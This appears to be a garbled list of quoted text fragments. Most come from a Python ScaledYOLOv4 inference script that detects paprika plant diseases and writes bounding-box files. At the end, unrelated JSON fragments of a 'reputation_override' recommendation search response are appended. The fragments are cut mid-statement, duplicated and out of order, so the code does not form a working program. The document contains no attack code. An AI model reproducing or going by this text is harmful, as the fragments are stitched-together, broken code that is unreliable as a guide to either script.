"# <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th value",
"as file_object: # Move read cursor to the start of",
"Coords ', '| Confidence') print('_'*50) for k in range(len(det_classes)): print(det_classes[k],",
"cv2.resize(img1, (img_size, img_size)) # W x H img2 = img2.transpose(2,0,1)",
"= [0.0] * 6 bounding_box[0] = det_classes[i] bounding_box[1] = confd[i]",
"tqdm import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda'",
"classes=classes, agnostic=True) if pred[0] is not None: boxes = pred[0].cpu().detach().numpy()",
"img2 #%% # Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt'",
"data = file_object.read(100) if len(data) > 0 : file_object.write(\"\\n\") #",
"for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for i",
"os.path.basename(path)[:-4] # Inference t1 = time_synchronized() pred = model(img2, augment=False)[0]",
"non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) if pred[0] is not None:",
"torch.rand(10) import torch.nn as nn import torch.nn.functional as F import",
"img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for i in range(boxes.shape[0]):",
"boxes[:,4] # confidence class_ids = boxes[:,5] # class id coords_xyminmax",
"file file_object.write(all_bounding_boxnind[i]) #%% import glob, random import matplotlib.pyplot as plt",
"tqdm, trange import seaborn as sns from models.experimental import attempt_load",
"LoadStreams, LoadImages from utils.general import ( check_img_size, non_max_suppression, apply_classifier, scale_coords,",
"img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if",
"attempt_load from utils.datasets import LoadStreams, LoadImages from utils.general import (",
"check img_size if half: model.half() # to FP16 # Load",
"0]).reshape(1,6) # dummy values coords_minmax = np.zeros((boxes.shape[0], 4)) # droping",
"in trange(len(img_paths)): path = img_paths[i] img1 = cv2.imread(path) img1 =",
"img1 = cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _",
"**here dont give space inbetween the inverted commas \"\". all_bounding_boxnind.append(bounding_box)",
"import matplotlib as mpl mpl.rcParams['figure.dpi'] = 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png')",
"print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB')",
"import os, cv2 from tqdm import tqdm, trange import seaborn",
"= img_paths[i] img1 = cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h,",
"bounding_box[0] = det_classes[i] bounding_box[1] = confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3]",
"print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as",
"for i in trange(len(img_paths)): path = img_paths[i] img1 = cv2.imread(path)",
"B_box Coords ', '| Confidence') print('_'*50) for k in range(len(det_classes)):",
"= boxes[:,4] # confidence class_ids = boxes[:,5] # class id",
"list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin to list",
"f in os.listdir(out)]# if f.endswith(\".png\") ] for f in tqdm(filelist,",
"remove spaces in between **here dont give space inbetween the",
"Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn",
"'| Confidence') print('_'*50) for k in range(len(det_classes)): print(det_classes[k], t[k], confd[k])",
"cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape img2 = prepare_input(img1, 416,",
"img1.shape img2 = prepare_input(img1, 416, half) pred = model(img2, augment=False)[0]",
"model model = attempt_load(weights, map_location=device) # load FP32 model imgsz",
"# check if file exiscts else make new with open(out",
"bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5]",
"inference if device.type != 'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) #",
"_ = img1.shape img2 = prepare_input(img1, 416, half) # get",
"to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin to list #",
"<xmin><ymin><xmax><ymax><confd><class_id> coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th value confd",
"# run once #%% for i in trange(len(img_paths)): path =",
"= all_bounding_boxnind[i].replace(',',' ') for i in range(len(all_bounding_boxnind)): # check if",
"print('Image Name: ', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box Coords ',",
"in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for i in range(len(all_bounding_boxnind)):",
"to FP16 # Load model model = attempt_load(weights, map_location=device) #",
"make new with open(out +'{}.txt'.format(name), \"a+\") as file_object: # Move",
"if torch.cuda.is_available() else 'cpu') print('Using device:', device) print() #Additional Info",
"Append text at the end of file file_object.write(all_bounding_boxnind[i]) #%% import",
"spaces in between **here dont give space inbetween the inverted",
"img_w, _ = img1.shape img2 = prepare_input(img1, 416, half) pred",
"model = attempt_load(weights, map_location=device) # load FP32 model imgsz =",
"desc = 'Deleting old files fro directory'): os.remove(os.path.join(out, f)) #",
"# Append text at the end of file file_object.write(all_bounding_boxnind[i]) #%%",
"check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run",
"= '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416 conf_thres = 0.4 iou_thres =",
"all_bounding_boxnind = [] for i in range(boxes.shape[0]): bounding_box = [0.0]",
"'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once #%% for",
"import torch.nn as nn import torch.nn.functional as F import glob",
"= draw_boxes(img1, confd, t, det_classes, class_names, order='xy_minmax', analysis=False) plt.imshow(op) print('='*50)",
"remove square brackets bounding_box = bounding_box.replace(\"'\",'')# removing inverted commas around",
"spaces for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for",
"0.75, 0]).reshape(1,6) # dummy values coords_minmax = np.zeros((boxes.shape[0], 4)) #",
"= torch.from_numpy(img2).to(device) # torch image is ch x H x",
"= coords_xyminmax[i][1] bounding_box[4] = coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box =",
"else make new with open(out +'{}.txt'.format(name), \"a+\") as file_object: #",
"Move read cursor to the start of file. file_object.seek(0) #",
"H x W img2 = img2.half() if not half else",
"') for i in range(len(all_bounding_boxnind)): # check if file exiscts",
"= prepare_input(img1, 416, half) # get file name name =",
"= cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ =",
"img1 = cv2.imread(path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _",
"= '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz =",
"= model(img2, augment=False)[0] # Apply NMS pred = non_max_suppression(pred, conf_thres,",
"'/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/' imgsz = 416",
"import xyxy_2_xyxyo, draw_boxes # Initialize device = select_device('') half =",
"+ \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if device.type != 'cpu':",
"0.4 iou_thres = 0.5 classes = [0,1,2,3,4,5] class_names = [\"blossom_end_rot\",",
"file_object: # Move read cursor to the start of file.",
"os, cv2 from tqdm import tqdm, trange import seaborn as",
"sns from models.experimental import attempt_load from utils.datasets import LoadStreams, LoadImages",
"all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for i in range(len(all_bounding_boxnind)): # check",
"commas around class name bounding_box = \"\".join(bounding_box.split())# remove spaces in",
"img2.half() if not half else img2.float() img2 /= 255.0 return",
"else 'cpu') print('Using device:', device) print() #Additional Info when using",
"range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ') for i in range(len(all_bounding_boxnind)): #",
"i in range(len(all_bounding_boxnind)): # check if file exiscts else make",
"agnostic=True) if pred[0] is not None: boxes = pred[0].cpu().detach().numpy() #",
"check_img_size(imgsz, s=model.stride.max()) # check img_size if half: model.half() # to",
"f.endswith(\".png\") ] for f in tqdm(filelist, desc = 'Deleting old",
"for i in range(len(all_bounding_boxnind)): # check if file exiscts else",
"Info when using cuda if device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory",
"# Run inference if device.type != 'cpu': model(torch.zeros(1, 3, imgsz,",
"boxes[:,0:4] # coords confd = boxes[:,4] # confidence class_ids =",
"= np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0], 1)) # assign coords_minmax",
"new with open(out +'{}.txt'.format(name), \"a+\") as file_object: # Move read",
"# Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source =",
"as nn import torch.nn.functional as F import glob from tqdm",
"device:', device) print() #Additional Info when using cuda if device.type",
"cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape img2 = prepare_input(img1,",
"import torch torch.rand(10) import torch.nn as nn import torch.nn.functional as",
"# load FP32 model imgsz = check_img_size(imgsz, s=model.stride.max()) # check",
"model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters()))) # run once #%% for i",
"FP32 model imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size img_paths",
"for f in os.listdir(out)]# if f.endswith(\".png\") ] for f in",
"# <xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0, 20.0, 30.0, 50.0, 0.75,",
"torch image is ch x H x W img2 =",
"')) # convert strin to list # replacing commas with",
"map_location=device) # load FP32 model imgsz = check_img_size(imgsz, s=model.stride.max()) #",
"file is not empty then append '\\n' data = file_object.read(100)",
"confd = boxes[:,4] # confidence class_ids = boxes[:,5] # class",
"file_object.seek(0) # If file is not empty then append '\\n'",
"+ \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1 = cv2.imread(img_path) img1",
"non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils import select_device,",
"torch.from_numpy(img2).to(device) # torch image is ch x H x W",
"import attempt_load from utils.datasets import LoadStreams, LoadImages from utils.general import",
"check_img_size(imgsz, s=model.stride.max()) # check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\",
"half) # get file name name = os.path.basename(path)[:-4] # Inference",
"30.0, 50.0, 0.75, 0]).reshape(1,6) # dummy values coords_minmax = np.zeros((boxes.shape[0],",
"= 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path =",
"img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference",
"= select_device('') half = device.type != 'cpu' # half precision",
"device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached:",
"print('Using device:', device) print() #Additional Info when using cuda if",
"attempt_load(weights, map_location=device) # load FP32 model imgsz = check_img_size(imgsz, s=model.stride.max())",
"# dummy values coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th",
"else: boxes = np.array([10.0, 20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6) #",
"imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png')",
"print() #Additional Info when using cuda if device.type == 'cuda':",
"prepare_input(img1, 416, half) pred = model(img2, augment=False)[0] # Apply NMS",
"img2 /= 255.0 return img2 #%% # Directories out =",
"FP16 # Load model model = attempt_load(weights, map_location=device) # load",
"ch x H x W img2 = img2.half() if not",
"import tqdm, trange print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda' if",
"i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax)",
"range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op =",
"= file_object.read(100) if len(data) > 0 : file_object.write(\"\\n\") # Append",
"removing inverted commas around class name bounding_box = \"\".join(bounding_box.split())# remove",
"Run inference if device.type != 'cpu': model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters())))",
"when using cuda if device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:')",
"[\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting files in op_dir filelist",
"Confidence') print('_'*50) for k in range(len(det_classes)): print(det_classes[k], t[k], confd[k]) print('='*50)",
"# Inference t1 = time_synchronized() pred = model(img2, augment=False)[0] #",
"as mpl mpl.rcParams['figure.dpi'] = 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\",
"img_h, img_w, _ = img1.shape img2 = prepare_input(img1, 416, half)",
"= confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4] =",
"' '.join(map(str, all_bounding_boxnind))# convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) #",
"with open(out +'{}.txt'.format(name), \"a+\") as file_object: # Move read cursor",
"not None: boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes =",
"all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))# convert list to string all_bounding_boxnind=list(all_bounding_boxnind.split('",
"file_object.write(all_bounding_boxnind[i]) #%% import glob, random import matplotlib.pyplot as plt import",
"det_classes = [] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i]))",
"print(torch.cuda.is_available()) print(torch.cuda.get_device_name()) print(torch.cuda.current_device()) device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')",
"for i in range(boxes.shape[0]): bounding_box = [0.0] * 6 bounding_box[0]",
"coords_xyminmax[i][2] bounding_box[5] = coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove square brackets",
"import glob, random import matplotlib.pyplot as plt import matplotlib as",
"strip_optimizer) from utils.torch_utils import select_device, load_classifier, time_synchronized from my_utils import",
"= img2.half() if not half else img2.float() img2 /= 255.0",
"strin to list # replacing commas with spaces for i",
"if not half else img2.float() img2 /= 255.0 return img2",
"check if file exiscts else make new with open(out +'{}.txt'.format(name),",
"pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> else: boxes = np.array([10.0, 20.0, 30.0, 50.0,",
"x H x W img2 = img2.half() if not half",
"def prepare_input(img1, img_size=416, half=True): img2 = cv2.resize(img1, (img_size, img_size)) #",
"Apply NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) boxes",
"if pred[0] is not None: boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id>",
"'cpu' # half precision only supported on CUDA def prepare_input(img1,",
"name = os.path.basename(path)[:-4] # Inference t1 = time_synchronized() pred =",
"xyxy_2_xyxyo, draw_boxes # Initialize device = select_device('') half = device.type",
"img2 = img2.transpose(2,0,1) img2 = img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device)",
"text at the end of file file_object.write(all_bounding_boxnind[i]) #%% import glob,",
"bounding_box[1] = confd[i] bounding_box[2] = coords_xyminmax[i][0] bounding_box[3] = coords_xyminmax[i][1] bounding_box[4]",
"coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op = draw_boxes(img1, confd, t,",
"from models.experimental import attempt_load from utils.datasets import LoadStreams, LoadImages from",
"half) pred = model(img2, augment=False)[0] # Apply NMS pred =",
"# class id coords_xyminmax = [] det_classes = [] for",
"convert strin to list # replacing commas with spaces for",
"len(data) > 0 : file_object.write(\"\\n\") # Append text at the",
"coords_xyminmax[i][3] bounding_box = str(bounding_box)[1:-1]# remove square brackets bounding_box = bounding_box.replace(\"'\",'')#",
"os.remove(os.path.join(out, f)) # Load model model = attempt_load(weights, map_location=device) #",
"#%% import glob, random import matplotlib.pyplot as plt import matplotlib",
"pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) if pred[0] is",
"50.0, 0.75, 0]).reshape(1,6) # dummy values coords_minmax = np.zeros((boxes.shape[0], 4))",
"with spaces for i in range(len(all_bounding_boxnind)): all_bounding_boxnind[i] = all_bounding_boxnind[i].replace(',',' ')",
"run once #%% for i in trange(len(img_paths)): path = img_paths[i]",
"import tqdm, trange import seaborn as sns from models.experimental import",
"range(boxes.shape[0]): bounding_box = [0.0] * 6 bounding_box[0] = det_classes[i] bounding_box[1]",
"import os os.environ['CUDA_VISIBLE_DEVICES'] = '2' import torch torch.rand(10) import torch.nn",
"range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for i",
"Apply NMS pred = non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) if",
"inverted commas around class name bounding_box = \"\".join(bounding_box.split())# remove spaces",
"FP32 model imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size if",
"= non_max_suppression(pred, conf_thres, iou_thres, classes=classes, agnostic=True) if pred[0] is not",
"file exiscts else make new with open(out +'{}.txt'.format(name), \"a+\") as",
"imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size if half: model.half()",
"dummy values coords_minmax = np.zeros((boxes.shape[0], 4)) # droping 5th value",
"# half precision only supported on CUDA def prepare_input(img1, img_size=416,",
"plt import matplotlib as mpl mpl.rcParams['figure.dpi'] = 300 img_paths =",
"= '2' import torch torch.rand(10) import torch.nn as nn import",
"all_bounding_boxnind[i].replace(',',' ') for i in range(len(all_bounding_boxnind)): # check if file",
"img_w, _ = img1.shape img2 = prepare_input(img1, 416, half) #",
"= cv2.imread(img_path) img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ =",
"bounding_box.replace(\"'\",'')# removing inverted commas around class name bounding_box = \"\".join(bounding_box.split())#",
"img_size)) # W x H img2 = img2.transpose(2,0,1) img2 =",
"[] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind",
"import numpy as np import os, cv2 from tqdm import",
"start of file. file_object.seek(0) # If file is not empty",
"at the end of file file_object.write(all_bounding_boxnind[i]) #%% import glob, random",
"iou_thres, classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax =",
"model(img2, augment=False)[0] # Apply NMS pred = non_max_suppression(pred, conf_thres, iou_thres,",
"4)) # droping 5th value confd = np.zeros((boxes.shape[0], 1)) class_ids",
"check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box, strip_optimizer) from utils.torch_utils import",
"from tqdm import tqdm, trange import seaborn as sns from",
"# confidence class_ids = boxes[:,5] # class id coords_xyminmax =",
"mpl.rcParams['figure.dpi'] = 300 img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path",
"commas \"\". all_bounding_boxnind.append(bounding_box) all_bounding_boxnind = ' '.join(map(str, all_bounding_boxnind))# convert list",
"range(len(all_bounding_boxnind)): # check if file exiscts else make new with",
"is not empty then append '\\n' data = file_object.read(100) if",
"iou_thres, classes=classes, agnostic=True) if pred[0] is not None: boxes =",
"', os.path.basename(img_path),img1.shape) print('\\nClass_name ', '| B_box Coords ', '| Confidence')",
"from utils.torch_utils import select_device, load_classifier, time_synchronized from my_utils import xyxy_2_xyxyo,",
"file_object.write(\"\\n\") # Append text at the end of file file_object.write(all_bounding_boxnind[i])",
"all_bounding_boxnind=list(all_bounding_boxnind.split(' ')) # convert strin to list # replacing commas",
"= img2.transpose(2,0,1) img2 = img2[np.newaxis, ...] img2 = torch.from_numpy(img2).to(device) #",
"416, half) pred = model(img2, augment=False)[0] # Apply NMS pred",
"Initialize device = select_device('') half = device.type != 'cpu' #",
"device = select_device('') half = device.type != 'cpu' # half",
"= cv2.resize(img1, (img_size, img_size)) # W x H img2 =",
"in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = [] for",
"time_synchronized from my_utils import xyxy_2_xyxyo, draw_boxes # Initialize device =",
"confidence class_ids = boxes[:,5] # class id coords_xyminmax = []",
"from utils.general import ( check_img_size, non_max_suppression, apply_classifier, scale_coords, xyxy2xywh, plot_one_box,",
"img2 = cv2.resize(img1, (img_size, img_size)) # W x H img2",
"random import matplotlib.pyplot as plt import matplotlib as mpl mpl.rcParams['figure.dpi']",
"import torch.backends.cudnn as cudnn import numpy as np import os,",
"np.array([10.0, 20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6) # dummy values coords_minmax",
"assign coords_minmax = boxes[:,0:4] # coords confd = boxes[:,4] #",
"= [] det_classes = [] for i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w,",
"\\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') # Run inference if device.type != 'cpu': model(torch.zeros(1,",
"file_object.read(100) if len(data) > 0 : file_object.write(\"\\n\") # Append text",
"image is ch x H x W img2 = img2.half()",
"os.environ['CUDA_VISIBLE_DEVICES'] = '2' import torch torch.rand(10) import torch.nn as nn",
"filelist = [ f for f in os.listdir(out)]# if f.endswith(\".png\")",
"= \"\".join(bounding_box.split())# remove spaces in between **here dont give space",
"', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as cudnn import numpy as",
"= np.asarray(coords_xyminmax) op = draw_boxes(img1, confd, t, det_classes, class_names, order='xy_minmax',",
"= np.zeros((boxes.shape[0], 1)) # assign coords_minmax = boxes[:,0:4] # coords",
"if device.type == 'cuda': print(torch.cuda.get_device_name(0)) print('Memory Usage:') print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB')",
"s=model.stride.max()) # check img_size if half: model.half() # to FP16",
"old files fro directory'): os.remove(os.path.join(out, f)) # Load model model",
"20.0, 30.0, 50.0, 0.75, 0]).reshape(1,6) # dummy values coords_minmax =",
"s=model.stride.max()) # check img_size img_paths = glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg')",
"coords_xyminmax = [] det_classes = [] for i in range(boxes.shape[0]):",
"name bounding_box = \"\".join(bounding_box.split())# remove spaces in between **here dont",
"torch.nn as nn import torch.nn.functional as F import glob from",
"...] img2 = torch.from_numpy(img2).to(device) # torch image is ch x",
"np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0], 1)) # assign coords_minmax =",
"exiscts else make new with open(out +'{}.txt'.format(name), \"a+\") as file_object:",
"\"\".join(bounding_box.split())# remove spaces in between **here dont give space inbetween",
"0.5 classes = [0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"]",
"#%% # Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source",
"the end of file file_object.write(all_bounding_boxnind[i]) #%% import glob, random import",
"round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB') print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB') import torch.backends.cudnn as cudnn",
"'Deleting old files fro directory'): os.remove(os.path.join(out, f)) # Load model",
"import matplotlib.pyplot as plt import matplotlib as mpl mpl.rcParams['figure.dpi'] =",
"[ f for f in os.listdir(out)]# if f.endswith(\".png\") ] for",
"classes = [0,1,2,3,4,5] class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] #",
"matplotlib.pyplot as plt import matplotlib as mpl mpl.rcParams['figure.dpi'] = 300",
"load FP32 model imgsz = check_img_size(imgsz, s=model.stride.max()) # check img_size",
"in range(len(all_bounding_boxnind)): # check if file exiscts else make new",
"!= 'cpu' # half precision only supported on CUDA def",
"= glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.png') + \\ glob.glob('/home/user01/data_ssd/Talha/yolo/paprika_y5/test/images/*.jpg') img_path = random.choice(img_paths) img1 =",
"img2.float() img2 /= 255.0 return img2 #%% # Directories out",
"[] for i in range(boxes.shape[0]): bounding_box = [0.0] * 6",
"confd = np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0], 1)) # assign",
"conf_thres, iou_thres, classes=classes, agnostic=True) boxes = pred[0].cpu().detach().numpy() # <xmin><ymin><xmax><ymax><confd><class_id> coords_minmax",
"value confd = np.zeros((boxes.shape[0], 1)) class_ids = np.zeros((boxes.shape[0], 1)) #",
"# If file is not empty then append '\\n' data",
"supported on CUDA def prepare_input(img1, img_size=416, half=True): img2 = cv2.resize(img1,",
"= time_synchronized() pred = model(img2, augment=False)[0] # Apply NMS pred",
"append '\\n' data = file_object.read(100) if len(data) > 0 :",
"'\\n' data = file_object.read(100) if len(data) > 0 : file_object.write(\"\\n\")",
"img1 = cv2.cvtColor(img1, cv2.COLOR_BGR2RGB) img_h, img_w, _ = img1.shape img2",
"directory'): os.remove(os.path.join(out, f)) # Load model model = attempt_load(weights, map_location=device)",
"Directories out = '/home/user01/data_ssd/Talha/yolo/op/' weights = '/home/user01/data_ssd/Talha/yolo/ScaledYOLOv4/runs/exp2_yolov4-csp-results/weights/best_yolov4-csp-results.pt' source = '/home/user01/data_ssd/Talha/yolo/paprika_y5/valid/images/'",
"np.zeros((boxes.shape[0], 1)) # assign coords_minmax = boxes[:,0:4] # coords confd",
"class_names = [\"blossom_end_rot\", \"graymold\",\"powdery_mildew\",\"spider_mite\", \"spotting_disease\", \"snails_and_slugs\"] # deleting files in",
"fro directory'): os.remove(os.path.join(out, f)) # Load model model = attempt_load(weights,",
"in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) t = np.asarray(coords_xyminmax) op",
"i in range(boxes.shape[0]): coords_xyminmax.append(xyxy_2_xyxyo(img_w, img_h, coords_minmax[i])) det_classes.append(class_names[int(class_ids[i])]) all_bounding_boxnind = []"
] |
[
"25, \"impact_score\": 0, \"update_time\": \"2021-05-18T16:37:07.000Z\" } }, { \"recommendation_id\": \"0d9da444-cfa7-4488-9fad-e2abab099b68\",",
"(x86).msi\" }, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\",",
"{ \"criteria\": { \"status\": ['NEW', 'REJECTED', 'ACCEPTED'], \"policy_type\": ['reputation_override'] },",
"{ \"field\": \"impact_score\", \"order\": \"DESC\" } ] } SEARCH_RESP =",
"SEARCH_RESP = { \"results\": [ { \"recommendation_id\": \"91e9158f-23cc-47fd-af7f-8f56e2206523\", \"rule_type\": \"reputation_override\",",
"{ \"recommendation_id\": \"bd50c2b2-5403-4e9e-8863-9991f70df026\", \"rule_type\": \"reputation_override\", \"policy_id\": 0, \"new_rule\": { \"override_type\":",
"coming\" }, \"impact\": { \"org_adoption\": \"MEDIUM\", \"impacted_devices\": 45, \"event_count\": 79,",
"}, \"workflow\": { \"status\": \"NEW\", \"changed_by\": \"<EMAIL>\", \"create_time\": \"2021-05-18T16:37:07.000Z\", \"update_time\":",
